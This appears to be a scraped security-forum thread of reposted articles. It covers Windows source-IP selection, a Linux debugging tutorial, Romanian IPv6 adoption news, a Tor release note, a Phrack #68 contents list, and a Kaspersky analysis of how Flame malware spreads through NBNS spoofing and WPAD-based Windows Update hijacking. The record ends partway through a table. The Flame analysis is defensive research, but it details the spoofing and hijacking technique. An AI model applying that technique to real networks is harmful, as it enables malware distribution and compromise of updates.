call:10.0.0.10 Target IP:192.168.1.5 Route Table: Nic 1 - 192.168.1.10/32 Nic 1 - 192.168.1.11/32 Nic 2 - 10.0.0.10/32 Nic 2 - 10.0.0.11/32 The chosen source IP:10.0.0.10 The chosen source Nic: Nic 2 <- Note this is the Nic the source IP is on. Note: the packet would be sent to the default gateway associated with Nic 2. [h=4]RFC 3484 and Source IP address selection[/h] The last thing I want to talk about is RFC 3484. Even though RFC 3484 says it only applies to IPV6 in Windows implementations IPV4 does follow the same rules when possible. Windows Source IP V4 address selection: Rule 1 Prefer same address (applies) Rule 2 Prefer appropriate scope (applies) Rule 3 Avoid deprecated addresses (applies) Rule 4 - Prefer home addresses - does not apply to IP v4 Rule 5 Prefer outgoing Interfaces (applies) Rule 6 Prefer matching label - does not apply to IP v4 Rule 7 Prefer public addresses - does not apply to IP v4 Rule 8a: Use longest matching prefix with the next hop IP address. (not in RFC!) "If CommonPrefixLen(SA, D) > CommonPrefixLen(SB, D), then prefer SA. Similarly, if CommonPrefixLen(SB, D) > CommonPrefixLen(SA, D), then prefer SB. " This says that the IP with the most high order bits that match the destination of the next hop will be used. Note: Rule 8 - Use longest matching Prefix is similar to rule 8a except the match is with the destination IP address rather than the next hop IP address. For example, consider the following addresses: Client machine IP Address 192.168.1.14 /24 192.168.1.68 /24 Default Gateway 192.168.1.127 The server will use the 192.168.1.68 address because it has the longest matching prefix. To see this more clearly, consider the IP addresses in binary: 11000000 10101000 00000001 00001110 = 192.168.1.14 (Bits matching the gateway = 25) 11000000 10101000 00000001 01000100 = 192.168.1.68 (Bits matching the gateway = 26) 11000000 10101000 00000001 01111111 = 192.168.1.127 The 192.168.1.68 address has more matching high order bits with the gateway address 192.168.1.127. Therefore, it is used for off-link communication. [h=3]SkipAsSource[/h] There is a new twist in the source IP selection process. Note: There are two variants of the below mentioned hotfix; one for Windows Vista / Windows Server 2008 and one for Windows 7 / Windows Server 2008 R2. 975808 All IP addresses are registered on the DNS servers when the IP addresses are assigned to one network adapter on a computer that is running Windows Server 2008 SP2 or Windows Vista SP2 2386184 IP addresses are still registered on the DNS servers even if the IP addresses are not used for outgoing traffic on a computer that is running Windows 7 or Windows Server 2008 R2 After you install the hotfix discussed above, you can create IP version 4 (IPv4) addresses or IP version 6 (IPv6) addresses by using the netsh command together with the new "skipassource" flag. By using this flag, the added new addresses are not used for outgoing packets unless explicitly set for use by outgoing packets. Note: This command only works when adding an address you can’t apply it to an address already on the machine. You would need to remove it and add it again. [h=3]Additional Information[/h] Default Address Selection for Internet Protocol version 6 (IPv6) For more information about Strong and Weak Host Models, see the following Cable Guy article: The Cable Guy: Strong and Weak Host Models The gethostbyname function has been deprecated. We recommend that you use the getaddrinfo function instead. However, we still cannot guarantee that primary IP address will be returned first. For more information about the gethostbyname function, visit the following Microsoft Web site: gethostbyname function (Windows) For more information about the getaddrinfo function, visit the following Microsoft Web site: http://msdn2.microsoft.com/en-us/library/ms738520(VS.85).aspx - David Pracht Sursa: Source IP address selection on a Multi-Homed Windows Computer - Microsoft Enterprise Networking Team - Site Home - TechNet Blogs

Windows 7.

Linux system debugging super tutorial Updated: June 1, 2012 In the last two years, I have introduced you to a number of so-called super-duper system administration tools. We learned how to properly analyze a range of problems by carefully studying symptoms and then isolating and fixing the root cause. We learned about strace and lsof, both immensely powerful tools. We focused on system profiling and auditing. We also worshiped the omnipotent GNU Debugger (gdb). Now it is time to combine the powers of all these into one mega tutorial. Today, we will use all of these tools, plus the slew of tips and tricks listed in my hacking guides, all three of them, to try to resolve a seemingly impossible problem. We will attack the issue from several angles, each time using a different tool, each time exposing a new facet of the phenomenon until we resolve it like champs. This is not going to be easy, but it will probably be the best, most comprehensive and most unique all-purpose system administration debugging guide you have read in a long while, if not ever. Did I say ever? [h=2]The problem we have[/h] All right, let's assume that the startup of applications is slow. You wait 5-10 seconds for application windows to launch. Sometimes it works fast, but you're not really sure why. Usually, the problems occur after you log out of your session or following a reboot. The most annoying thing is that if you try to fire up those same programs with sudo or as root, there are no startup delays and all seems to run fine. So how do you debug a problem like this one? [h=2]Rules![/h] If you want to be an awesome system debugger, then there are several would-be rules you must follow whenever you are trying to resolve a difficult problem. If it's something trivial you can fix in two minutes, fine, but if this is a brand new issue that has stumped you and your colleagues for more than an hour, then you should pause, rethink and be methodical about it. [h=3]Be methodical[/h] Having a formulaic approach may portray you as a noob - or a very efficient man. You choose. You should have a strategy that is uniform, generic and all-encompassing for every problem that may come up. This means that you will be able to handle the situation whether you're fixing airplanes or hacking the kernel. [h=3]Always begin with simple tools[/h] In theory, you can try to fix any problem with gdb right away, but that's not a smart use of either the tools at hand or your intellect and time. You should always begin with simple things. Check the system logs for weird errors. Check top to assess the basic system health. Make sure you're not out of memory. Examine the disk and CPU load. [h=3]Comparison to a healthy system[/h] This may not always be applicable, but if you have a machine with an identical hardware and software configuration that does not exhibit the same problems, or two workload scenarios that produce different results, then you should compare between them to try to find what might be causing the bad system or the component to misbehave. This may not always be easy, but component search is the most powerful tool in statistical engineering and it applies well for mechanical parts as well as software. Now, we're ready to dig in. [h=2]Symptoms[/h] Our healthy system fires up xclock, our sample graphical tool, in less than a second. The bad system does the same, except it takes 10 times longer. So we know something is slowed down but not necessarily broken. [h=2]Strace[/h] At this stage, running strace seems like a good idea. Rather than tracing every system call through endless logs, we will only do the summary run, specified with -c flag. We want to see if there's anything significant in the tool's run. [h=3]Strace log, good system[/h] Let's see what strace gives us: [h=3]Strace log, bad system[/h] The same thing for the misbehaving case: [h=3]Strace comparison[/h] I've placed the two summaries side by side. The font may be a little small, but it's identical to what you've see above. We can see that there's a significant difference in the behavior of the two cases. On the good system, the top four system calls are read, mprotect, open, and fstat. We get system calls in the range of several tens to several hundreds, with some errors, probably stemming from seeking files in the $PATH. Another important element is the execution time, which takes ~1-2 milliseconds for each of the four system calls. On the bad system, the top hitters are open, munmap, mmap, and stat. Moreover, we have system calls in the range of thousands, approx. 10-20x times more than previously. We also have a huge number of open errors. The execution time is in the range of 8-12 miliseconds, which is approx. 10 times longer than before. So we know something is wrong, but we don't know what exactly. [h=2]Ltrace[/h] We will now use ltrace and perhaps discover something else. System calls shows a marked difference in the behavior, but we do not know what is causing the problem. Maybe we will be able to determine the issue by looking at libraries, which is exactly what ltrace does. Again, we will execute the tool with -c flag, to see the summary. [h=3]Ltrace log, good system[/h] A whole new plate of information. The most significant library function is the creation of the xclock widget, which takes 20 milliseconds and almost 40% of the total execution time. Second on the list is the XftFontOpenName. [h=3]Ltrace log, bad system[/h] Here, we see something else. The XftFontOpenName is the leading function with a total of 18 seconds of execution time. Then, we have the creation of the widget, with no less impressive 16 seconds. After that, nothing else matters. [h=3]Ltrace comparison[/h] We can clearly see that there's something wrong with fonts, it seems. On the good system, the relevant library call took a fraction of the same, while on the bad system, it lasted almost 20 seconds. Now, if we cross-reference the strace logs with these two, we start to get a clearer picture. The long duration of the function responsible for creating the widget definitely explain the slowness we experience. Moreover, it aligns nicely with the huge number of system calls and errors on the bad system. We now have a clue. [h=2]Additional analysis - with vmstat[/h] Some people could decide they already have enough information - something seems to be wrong with fonts. But let's say you are still not 100% convinced and you want to learn more. Let's try using vmstat. [h=3]Good system[/h] vmstat provides useful information on the memory and CPU usage. We have discussed the tool in the past, so I will not be repeating myself. Today, the fields of interests are CPU metrics in the last five columns, specifically the two labeled us and sy, as well as the cs and in fields under system. The us and sy labels indicate the percentage of CPU usage by user and system, respectively. The cs and in labels refers to context switches and interrupts. The first metric tells us roughly how often the running process had to relinquish its place in the runqueue in favor of another waiting process. In other words, there was a context switch from one process to another. Interrupts indicates the number of times the running process had to access the underlying hardware, for example access the disk to read data from the filesystem, poll the screen or the keyboard, etc. Let's see what happens when we launch the xclock program. Ignore the first line, as it display the average values since the last uptime. We can see that there's a brief spike of user CPU, also reflected in the high number of interrupts and context switches. xclock is launched by the time the fourth line is displayed. [h=3]Bad system[/h] Here, the situation is a little different. We can see a significant increase in user CPU for almost 5-7 seconds. However, there's less context switches than before and many more interrupts. What does this mean? We can see that the launching of xclock, which is an interactive application and should be therefore treated as an interactive process, is behaving like a computational (batch) process. For interactive processes, we want as much responsiveness as possible, which means lots of context switches and little CPU activity so that we get dynamic priority from the scheduler and spend as little time thinking, giving control to the user. However, in our case, the process does fewer context switches than before and uses a lot more CPU, which is typical behavior for batch processes. This means there's some thinking going on. What is happening is that our system is reading fonts and creating the cache while we're waiting for xclock. This also explains the increase in IO activity and some wa CPU values, as we have to do this operation against the local filesystem. Now, it is important to emphasize that this kind of analysis is meaningless if you do not know how your process is supposed to behave and what it's supposed to do. However, if you have an inkling of an idea, then even a boring list of numbers as output by vmstat could provide you with a wealth of information. [h=2]Problem resolution[/h] I believe we have sufficient information to solve this. Something is wrong with fonts. The fact applications take so long to start probably indicates the font cache is being rebuilt every time, which in turn indicates the programs started by user cannot read the system font cache. This would also explain why sudo and root are not affected. Now, I know I'm being smart in retrospect, after this problem was identified and debugged and the tutorial written at leisure with cocky style and smartness. But the thing is, all the pieces are there. The application is slow. Strace logs indicate open errors. We could now run a full strace session and learn the exact paths of these errors. We would use -e flag against open system call, to reduce verbosity, and we would increase the string length using -s flag so we could see all of the information about failing paths. We would learn about fonts not being readable by the user. But we do not need to do that. We cross-reference our information with ltrace, which points out the problem to be in the opening of fonts. This library call blocks the creation of the widget, which is why the applications appear to be slow in launching. vmstat runs provide additional information, which help narrow down the issue further. And if we check the system font cache, located under /var/cache/fontconfig, we learn that fonts are created with 600 permissions, i.e. they are only readable by root. If we change the values to 644, we resolve the problem and all our applications start quickly. We also save disk space, as we do not require each user to create its own copy of fonts in their own home directory. [h=2]lsof comes to rescue[/h] Now, I will briefly demonstrate another problem. This one is completely different from the previous example. Moreover, in this case strace and ltrace are completely useless, because the process is stuck in a D state. We do not really know what might be wrong, but all of the tools above are of no help. Enter lsof. OK, let's assume you have some Java process that is stuck and not responding. Now, Java is always ugly and comes with hideous exception traces, but we must debug the issue and the conventional tools do not provide any useful information. In fact, this is what you see with strace: futex(0x562d0be8, FUTEX_WAIT, 18119, NULL But if you check the same process with lsof, you get something like this: java 11511 user 32u ipv4 1920022313 TCP rogerbox:44332->rogerbox:22122 (SYN_SENT) Ta-dam. We can see our Java is using two IPv4 ports to communicate internally. It has sent a packet from one port to another, initiating a TCP connection. This is indicated by the SYN_SENT state, the first sequence in the three-point TCP handshake. For some reason, the server, listening on port 22122, is not responding. At this stage, you may want to check why the packet is not being rejected or accepted by the server. Do we have a routing problem? On a local machine, this probably does not apply, but maybe the destination is somewhere else? Do we have a firewall problem? Can you connect to the relevant machine and port using telnet? At this point, you still do not have all the tools to fix the issue, but you are fully aware of what is causing Java to misbehave. For all practical purposes, the problem is solved. [h=2]Conclusion[/h] I told you you will like this tutorial, and if you do not, then I have utterly failed you as a human being. But I think this article has it all - rational thinking, methodical approach to problem solving, multi-dimensional use of system debugging tools to create a clear picture of the issue, including comparing system calls and library functions between a good and a bad system, use of vmstat to understand the computational behavior of processes, and more. As a bonus, we also learn about lsof usefulness for network-related stuff. From now on, your system administration will never be the same. Seemingly complex problems will become simple, if you stick to the discipline of sorting out the basic checklist first, then slowly advancing to intermediate and advance tools and methods. If you ever get stuck, you can always refer to my hacking guides, which detail some 30+ utilities and scripts that should help you in your journey into the heart of the system. Well, that would be all. More goodness coming soon. Cheers. Sursa: Linux system debugging super tutorial

IPv6 – Google

[h=1]VIDEO Romania se afla pe primul loc in lume in topul tarilor cu cea mai mare rata de adoptare a noului protocol de internet IPv6 in iunie 2012, sustine RCS&RDS[/h]de Adrian Vasilache HotNews.ro Miercuri, 6 iunie 2012, 17:51 Economie | Telecom Fiecare terminal cu care ne conectam la internet are o adresa IP (o secventa de numere), iar actualul protocol cu care functioneaza internetul, IPv4, a pus la dispozitie circa 4 miliarde de adrese, numar care este aproape de epuizare in conditiile exploziei numarului de terminale si de servicii web. Dupa ce a fost testat anul trecut, un nou protocol, IPv6, care permite alocarea unui numar aproape nelimitat de adrese, a fost lansat la nivel mondial miercuri, 6 iunie. Romania se afla pe primul loc in lume in topul tarilor cu cea mai mare rata de adoptare a IPv6, la inceputul lunii iunie din acest an (7,75%), urmata de Franta, Japonia, China si SUA, a anuntat miercuri operatorul de comunicatii prin cablu RCS&RDS. Datele au fost prezentate miercuri de Emanuel Popa, manager IP Design in cadrul RCS&RDS, la evenimentul local de lansare a IPv6, organizat de catre Internet Society Romania, ANISP si ICI. Sursa datelor o reprezinta masuratorile Google si APNIC, in perioada 1-6 iunie 2012. Citeste si: Zi istorica pentru viitorul internet-ului - Se lanseaza oficial noul protocol IPv6 La data de 3 februarie 2011, a fost o zi istorica pentru Internet. A fost ziua in care IANA (Internet Assigned Numbers Authority) a distribuit ultimul bloc de adrese IP versiunea 4 (IPv4) catre Registrele Regionale de Internet (RIR), conform Internet Society Romania. "Exista o autoritate globala care se cheama IANA care aloca resurse catre autoritatile regionale de pe fiecare continent si exista 5 autoritati regionale in Asia/Pacific, Europa, America de Nord, America de Sud si Africa. Pe 3 februarie 2011 IANA a ramas fara adrese IP. Cand au mai ramas doar 5 subneturi/8, conform politicii IANA, fiecare autoritate continentala a primit cate un subnet/8. Ulterior autoritatea din Asia/Pacific a epuizat si ea adresele IPv4 si anume in aprilie 2011. Probabil ca epuizarea adreselor IPv4 la nivelul autoritatilor regionale se va intampla probabil la nivelul anilor 2014-2015", a declarat miercuri Emanuel Popa, manager RCS&RDS. Popa, RCS&RDS: In Europa nu stam chiar atat de prost in privinta adreselor IPv4 care au mai ramas disponibile Operatorul de comunicatii prin cablu a pornit testarea IPv6 in octombrie 2011, fiind prima companie telecom locala si din regiune care a inceput implementarea acestui protocol. In acest moment, 19,57% dintre clientii de internet ai RCS&RDS prefera IPv6 in accesarea internetului, rata de adoptare a protocolului in cadrul retelei companiei fiind de 2,5 ori mai mare fata de rata de adoptare a Romaniei (7,75%) si de 28 de ori mai mare fata de media la nivel mondial (0,7%), sustine operatorul. "Am reusit ca la sfarsitul lunii aprilie sa obtinem o alocare noua din partea autoritatii din Europa (RIPE) - un subnet/14. Cat inseamna? Aproximativ 250.000 de adrese IPv4. Cam cat timp ne-ar ajunge noua acest spatiu de adresare? Sa zicem ca ne-ar asigura o crestere cu 30% a numarului de clienti. Asta inseamna foarte mult. O asftel de crestere probabil ca necesarul de IP-uri ar fi suficient pentru urmatorii 2-3 ani. (...) Adresele IPv4 sunt alocate dinamic. RIPE inca mai are libere doua blocuri de adrese 'slash 8' printre care si acela care a fost alocat de IANA la inceputul lui 2011. Deci in Europa nu stam chiar atat de prost", a spus Emanuel Popa. Cum pot fi afectati utilizatorii finali de tranzitia la IPv6? Conform Internet Society Romania, "in urmatoarele cateva luni, nu veti remarca nici o diferenta. Majoritatea sistemelor de operare suporta deja tehnologia IPv6, chiar si Mac OS X 10.2 si Windows XP SP1. Totusi, multe routere si servere web nu se pot conecta in IPv6, facand imposibila conectarea intre un terminal adresat in IPv6 si un server sau router IPv4". Organizatia sutine insa ca daca industria nu face tranzitia la IPv6, aplicatiile web vor raspunde mai greu, conexiunea intre terminale va dura mai mult si conectarea prin programe ca Skype va fi mai dificila si datele de conectare vor putea fi compromise din cauza divizarii adreselor. Sursa: VIDEO Romania se afla pe primul loc in lume in topul tarilor cu cea mai mare rata de adoptare a noului protocol de internet IPv6 in iunie 2012, sustine RCS&RDS - Telecom - HotNews.ro

Pacat... Insa imi place abordarea

TOR Virtual Network Tunneling Tool 0.2.2.36 Authored by Roger Dingledine | Site tor.eff.org Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create new communication tools with built-in privacy features. It provides the foundation for a range of applications that allow organizations and individuals to share information over public networks without compromising their privacy. Individuals can use it to keep remote Websites from tracking them and their family members. They can also use it to connect to resources such as news sites or instant messaging services that are blocked by their local Internet service providers (ISPs). Changes: This release updates the addresses for two of the eight directory authorities, fixes some potential anonymity and security issues, and fixes several crash bugs. Tor 0.2.1.x has reached its end-of-life. Those Tor versions have many known flaws, and nobody should be using them. You should upgrade. If you're using a Linux or BSD distribution and its packages are obsolete, stop using those packages and upgrade anyway. Download: http://packetstormsecurity.org/files/download/113352/tor-0.2.2.36.tar.gz

Phrack magazine #68 (14/04/2012) Current issue : #[URL="http://www.phrack.com/archives/tgz/phrack68.tar.gz"]68[/URL] | Release date : 14/04/2012 | Editor : The Phrack Staff [TABLE] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=1#article"]Introduction[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=The+Phrack+Staff#author"]The Phrack Staff[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=2#article"]Phrack Prophile on FX[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=The+Phrack+Staff#author"]The Phrack Staff[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=3#article"]Phrack World News[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=TCLH#author"]TCLH[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=4#article"]Linenoise[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=various#author"]various[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=5#article"]Loopback[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=The+Phrack+Staff#author"]The Phrack Staff[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=6#article"]Android Kernel Rootkit[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=dong-hoon+you#author"]dong-hoon you[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=7#article"]Happy Hacking[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=*********+author#author"]********* author[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=8#article"]Practical cracking of white-box implementations[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=sysk#author"]sysk[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=9#article"]Single Process Parasite[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=Crossbower#author"]Crossbower[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=10#article"]Pseudomonarchia jemallocum[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=argp+%26+huku#author"]argp & huku[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=11#article"]Infecting loadable kernel modules: kernel versions 2.6.x/3.0.x[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=styx%5E#author"]styx^[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=12#article"]The Art of Exploitation: MS IIS 7.5 Remote Heap Overflow[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=redpantz#author"]redpantz[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=13#article"]The Art of Exploitation: Exploiting VLC, a jemalloc case study[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=huku+%26+argp#author"]huku & argp[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=14#article"]Secure Function Evaluation vs. Deniability in OTR and similar protocols[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=greg#author"]greg[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=15#article"]Similarities for Fun and Profit[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=Pouik+%26+G0rfi3ld#author"]Pouik & G0rfi3ld[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=16#article"]Lines in the Sand: Which Side Are You On in the Hacker Class War[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=*********+author#author"]********* author[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=17#article"]Abusing Netlogon to steal an Active Directory's secrets[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=the+p1ckp0ck3t#author"]the p1ckp0ck3t[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=18#article"]25 Years of SummerCon[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=Shmeck#author"]Shmeck[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=19#article"]International Scenes[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=various#author"]various[/URL][/TD] [/TR] [/TABLE] Sursa: .:: Phrack Magazine ::.

Dati subscribe: http://www.youtube.com/user/ChRiStIaAn008/videos

[h=1]Flame: Replication via Windows Update MITM proxy server[/h] Aleks Kaspersky Lab Expert Posted June 06, 16:43 GMT Tags: Flame, Cyber weapon, Cyber espionage, Zero-day vulnerabilities 0.2 The Flame malware uses several methods to replicate itself. The most interesting one is the use of the Microsoft Windows Update service. This is implemented in Flame’s “SNACK”, “MUNCH” and “GADGET” modules. Being parts of Flame, these modules are easily reconfigurable. The behavior of these modules is controlled by Flame’s global registry, the database that contains thousands of configuration options. SNACK: NBNS spoofing The SNACK module creates a RAW network socket for either all or pre-set network interfaces and begins receiving all network packets. It looks for NBNS packets of other machines looking for local network names. When such a packet is received, it is written to an encrypted log file (“%windir%\temp\~DEB93D.tmp”) and passed on for further processing. When a name in the NBNS request matches the expression “wpad*” or “MSHOME-F3BE293C”, it responds with its own IP address. If “SNACK.USE_ATTACK_LIST” variable is set to “True”, it also checks whether packets originate from IP addresses specified in its “SNACK.ATTACK_LIST” and responds to machines with these addresses. “Wpad” is a name used for automatic proxy detection. By responding to “wpad” name requests with its own IP address, the SNACK module announces the infected machine as a proxy server for its local network. SNACK and MUNCH also communicate with the GADGET unit that provides facilities for handling different events that come from other modules. The Flame’s registry contains LUA modules for processing events like “MUNCH_ATTACKED”, “SNACK_ENTITY.ATTACK_NOW”. MUNCH: Spoofing proxy detection and Windows Update request “MUNCH” is the name of the HTTP server module in Flame. It is started only if “MUNCH.SHOULD_RUN” variable is set to “True” and there are no running programs that can alert the victim. These programs (anti-virus, firewalls, network sniffers etc.) are defined in the Flame’s registry in a list called “SECURITY.BAD_PROGRAMS” When MUNCH is started, it reads a buffer from the “MUNCH.WPAD_DATA” variable, replaces the pattern “%%DEFAULT%%” with the IP address of its best suitable network interface and waits for HTTP requests. Contents of the “MUNCH.WPAD_DATA” variable The “MUNCH.WPAD_DATA” buffer is actually a WPAD file that is requested by network clients that implement automatic proxy server detection. The code in the WPAD file matches the MD5 hash of the hostname that the client is connecting to against its own list, and if found, offers itself as a HTTP proxy. We were able to identify some of the hashes: download.windowsupdate.com download.microsoft.com update.microsoft.com www.update.microsoft.com v5.windowsupdate.microsoft.com windowsupdate.microsoft.com www.download.windowsupdate.com v5stats.windowsupdate.microsoft.com So, when a machine configured with automatic proxy detection tries to access one of the Windows Update hosts, it receives an IP address of the infected machine from SNACK, and then receives the IP address of the same machine as a proxy server from “wpad.dat” provided by MUNCH. From then, requests to the Windows Update service are passed through the MUNCH server. When a network client connects to the MUNCH server and requests an URI other than “/wpad.dat” and “/ view.php”, the server : 1) Runs “MUNCH.SHOULD_ATTACK_SCRIPT” – Lua script that checks if the User-Agent header matches at least one of the patterns specified in “MUNCH.USER_AGENTS.CAB_PATTERN_*”. The Flame registry files that we have contained the following patterns: MUNCH.USER_AGENTS.CAB_PATTERN_4 : WinHttp%-Autoproxy%-Service.* MUNCH.USER_AGENTS.CAB_PATTERN_3 : Windows%-Update%-Agent.* MUNCH.USER_AGENTS.CAB_PATTERN_2 : Industry Update.* MUNCH.USER_AGENTS.CAB_PATTERN_1 : Microsoft SUS.* 2) Checks if the requested URI matches any pattern specified in the list of strings called “MUNCH.GENERIC_BUFFERS.*.data.PATTERN”. If one of the expressions match, it then gets the buffer specified in the corresponding “MUNCH.GENERIC_BUFFERS.*.data.FILE_DATA” value, reads the payload value called “MUNCH.GENERIC_BUFFERS_CONTENT.value_of_FILE_DATA” and sends it to the client. All the payloads are listed in the Flame’s registry with names starting with “MUNCH.GENERIC_BUFFERS_CONTENT.payload_name”, and are encoded with a fixed 104-byte RC4 key. [TABLE=class: fullbrd, width: 80%, align: center] [TR] [TD=width: 50%]URI pattern [/TD] [TD] Payload name [/TD] [/TR] [TR] [TD] *v9/windowsupdate/redir/muv4wuredir.cab* *v8/windowsupdate/redir/muv3wuredir.cab* *v7/windowsupdate/redir/wuredir.cab* *v6/windowsupdate/redir/wuredir.cab* *ws03sp1/windowsupdate/redir/wuredir.cab* [/TD] [TD] WUREDIR [/TD] [/TR] [TR] [TD] */v9/windowsupdate/?/?elf?pdate/WSUS3/x86/Other/wsus3setup.cab* */v9/windowsupdate/?/SelfUpdate/AU/x86/NetServer/*/wusetup.cab* */v9/windowsupdate/?/SelfUpdate/AU/x86/XP/*/wusetup.cab* */v9/windowsupdate/?/SelfUpdate/AU/x86/W2K/*/wusetup.cab* */v9/windowsupdate/?/SelfUpdate/AU/x86/W2KSP2/*/wusetup.cab* [/TD] [TD] WUSETUP [/TD] [/TR] [TR] [TD] *update.microsoft.com/v6/windowsupdate/selfupdate/wuident.cab* [/TD] [TD] XP_WUIDENT [/TD] [/TR] [TR] [TD] *v5/redir/wuredir.cab* [/TD] [TD] XP_WUREDIR [/TD] [/TR] [TR] [TD] *download.windowsupdate.com/v6/windowsupdate/?/SelfUpdate/ AU/x86/XP/en/wusetup.cab* [/TD] [TD] XP_WUSETUP [/TD] [/TR] [TR] [TD] *muauth.cab* [/TD] [TD] MUAUTH [/TD] [/TR] [TR] [TD] *muredir.cab* [/TD] [TD] MUREDIR [/TD] [/TR] [TR] [TD] *muident.cab* [/TD] [TD] MUIDENT [/TD] [/TR] [TR] [TD] */version_s.xml [/TD] [TD] VISTA_7_VERSION_S [/TD] [/TR] [TR] [TD] */version.xml [/TD] [TD] VISTA_7_VERSION [/TD] [/TR] [TR] [TD] *v9/windowsupdate/redir/muv4wuredir.cab* *v8/windowsupdate/redir/muv3wuredir.cab* *v7/windowsupdate/redir/wuredir.cab* *v6/windowsupdate/redir/wuredir.cab* *ws03sp1/windowsupdate/redir/wuredir.cab* [/TD] [TD] VISTA_7_WUREDIR [/TD] [/TR] [TR] [TD] */windowsupdate/?/?elf?pdate/WSUS3/x86/Vista/WuSetupHandler.cab* [/TD] [TD] VISTA_7_WUSETUPHANDLER [/TD] [/TR] [TR] [TD] */windowsupdate/?/?elf?pdate/WSUS3/x86/Vista/WUClient-SelfUpdate-ActiveX~31bf3856ad364e35~x86~~7.0.6000.381.cab* [/TD] [TD] VISTA_7_WUCLIENT [/TD] [/TR] [TR] [TD] */windowsupdate/?/?elf?pdate/WSUS3/x86/Vista/wsus3setup.cab* [/TD] [TD] VISTA_7_WSUS3SETUP [/TD] [/TR] [TR] [TD] *v9/windowsupdate/selfupdate/wuident.cab* [/TD] [TD] VISTA_7_WUIDENT [/TD] [/TR] [/TABLE] Most of the payloads are signed CAB archives. The archives that contain malicious code are signed by “MS” in Dec 2010 and Nov 2011 while other archives seem to originate from the genuine Windows Update service and are signed by “Microsoft Corporation”. [TABLE=class: fullbrd, width: 100%, align: center] [TR] [TD] Payload names [/TD] [TD] Contents [/TD] [TD] Signed [/TD] [/TR] [TR] [TD] WUREDIR VISTA_7_WUREDIR [/TD] [TD] wuredir.xml [/TD] [TD] Microsoft Corporation July 01, 2009 [/TD] [/TR] [TR] [TD] WUSETUP [/TD] [TD] Default/wuapplet2.ocx Default/wuaucom.dat Default/wuauinfo.ocx Default/wuconf.ini Default/wusetup.ocx wsus3setup.cat wsus3setup.inf wuapplet2.ocx wuaucom.dat wuauinfo.ocx wuconf.ini wups2.cab wups2.cat wusetup.cat wusetup.inf wusetup.ocx [/TD] [TD] MS November 10, 2011 [/TD] [/TR] [TR] [TD] XP_WUIDENT [/TD] [TD] wuident.txt [/TD] [TD] Microsoft Corporation May 25, 2005 [/TD] [/TR] [TR] [TD] XP_WUREDIR [/TD] [TD] wuredir.xml [/TD] [TD] Microsoft Corporation June 16, 2005 [/TD] [/TR] [TR] [TD] XP_WUSETUP [/TD] [TD] Default/ wuapplet2.ocx Default/wuaucom.dat Default/wuauinfo.ocx wups2.cab wusetup.cat wusetup.inf wusetup.ocx [/TD] [TD] MS December 28, 2010 [/TD] [/TR] [TR] [TD] MUAUTH [/TD] [TD] authorization.xml [/TD] [TD] Microsoft Corporation June 05, 2008 [/TD] [/TR] [TR] [TD] MUREDIR [/TD] [TD] wuredir.xml [/TD] [TD] "Microsoft Corporation July 01, 2009 [/TD] [/TR] [TR] [TD] MUIDENT [/TD] [TD] muident.txt [/TD] [TD] MS December 28, 2010 [/TD] [/TR] [TR] [TD] VISTA_7_VERSION_S [/TD] [TD] empty [/TD] [TD] no signature [/TD] [/TR] [TR] [TD] VISTA_7_VERSION [/TD] [TD] 92 bytes, not a CAB file [/TD] [TD] no signature [/TD] [/TR] [TR] [TD] VISTA_7_WUSETUPHANDLER [/TD] [TD] WuSetupV.exe [/TD] [TD] MS December 28, 2010 [/TD] [/TR] [TR] [TD] VISTA_7_WUCLIENT [/TD] [TD] update.cat update.mum [/TD] [TD] MS December 28, 2010 [/TD] [/TR] [TR] [TD] VISTA_7_WSUS3SETUP [/TD] [TD] WUClient-SelfUpdate- ActiveX~31bf3856ad364e35~x86~ ~7.0.6000.381.mum WuPackages.xml [/TD] [TD] MS December 28, 2010 [/TD] [/TR] [TR] [TD] VISTA_7_WUIDENT [/TD] [TD] wuident.txt [/TD] [TD] MS December 28, 2010 [/TD] 